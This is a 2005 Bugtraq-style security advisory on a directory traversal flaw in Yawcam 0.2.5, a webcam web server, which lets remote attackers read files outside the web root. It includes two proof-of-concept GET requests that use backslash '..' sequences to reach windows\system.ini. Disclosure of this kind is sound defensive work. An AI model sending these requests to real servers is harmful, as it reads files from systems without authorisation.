Yawcam Directory Traversal Vulnerability

BID:13295

Info

Yawcam Directory Traversal Vulnerability

Bugtraq ID: 13295
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 21 2005 12:00AM
Updated: Apr 21 2005 12:00AM
Credit: Discovery credited to Donato Ferrante <[email protected]>.
Vulnerable: Yawcam Yawcam 0.2.5
Not Vulnerable:

Discussion

Yawcam Directory Traversal Vulnerability

Yawcam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root.

Exploit / POC

Yawcam Directory Traversal Vulnerability

An exploit is not required.

The following examples were provided:
GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

Solution / Fix

Yawcam Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Yawcam Directory Traversal Vulnerability

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